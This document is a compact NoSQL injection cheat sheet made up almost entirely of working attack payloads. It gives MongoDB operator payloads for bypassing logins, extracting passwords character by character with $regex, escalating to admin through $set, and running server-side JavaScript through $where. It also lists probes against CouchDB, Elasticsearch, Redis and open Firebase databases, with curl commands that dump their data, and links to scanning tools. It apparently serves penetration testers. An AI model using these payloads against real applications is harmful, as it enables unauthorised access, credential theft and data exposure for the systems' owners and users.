NoSQL Injection
The parameter is not a string, it is a document. Send an operator where the app expects text.
Auth bypass
{"user":"admin","pass":{"$ne":null}}
{"user":"admin","pass":{"$ne":"x"}}
{"user":{"$gt":""},"pass":{"$gt":""}}
{"user":"admin","pass":{"$regex":"^"}}
{"user":"admin","pass":{"$in":["admin","password","123456"]}}Same thing through a query string — most Node stacks parse a[$ne]=x into an object:
user=admin&pass[$ne]=x
user[$ne]=x&pass[$ne]=xDetect
' → error
" → error
\ → error
'"`{ ;$Foo}$Foo \xYZ
{"$where":"1==1"}
{"$where":"sleep(3000)"}A syntax error where a normal string works is the tell. So is {"$ne":null} returning more rows than {"$ne":""}.
Extract with $regex
One character at a time, same idea as blind SQLi.
{"user":"admin","pass":{"$regex":"^a"}}
{"user":"admin","pass":{"$regex":"^ad"}}# length first
{"user":"admin","pass":{"$regex":"^.{8}$"}}Operator injection in updates
If the app merges user input into an update document, $set lets you write fields the form never exposed. See Mass Assignment.
{"$set":{"role":"admin"}}$where and JS evaluation
$where, mapReduce and $accumulator run server-side JavaScript. Blind boolean and time-based both work.
{"$where":"this.pass.match(/^a/)"}
{"$where":"function(){ if(this.user=='admin'){sleep(5000)}; return true }"}Beyond Mongo
- CouchDB —
_all_docs,_users, unauthenticated_utils - Elasticsearch —
_searchwithquery_string,_cat/indices,_cluster/health - Redis — SSRF into
6379,CONFIG SET dir - Firebase —
/.jsonon the RTDB host reads the whole tree if rules are open
curl https://PROJECT.firebaseio.com/.json
curl https://example.com:9200/_cat/indices?vTools
| URL | Description |
|---|---|
| https://github.com/Charlie-belmer/nosqli | Scanner |
| https://github.com/codingo/NoSQLMap | Older, still useful |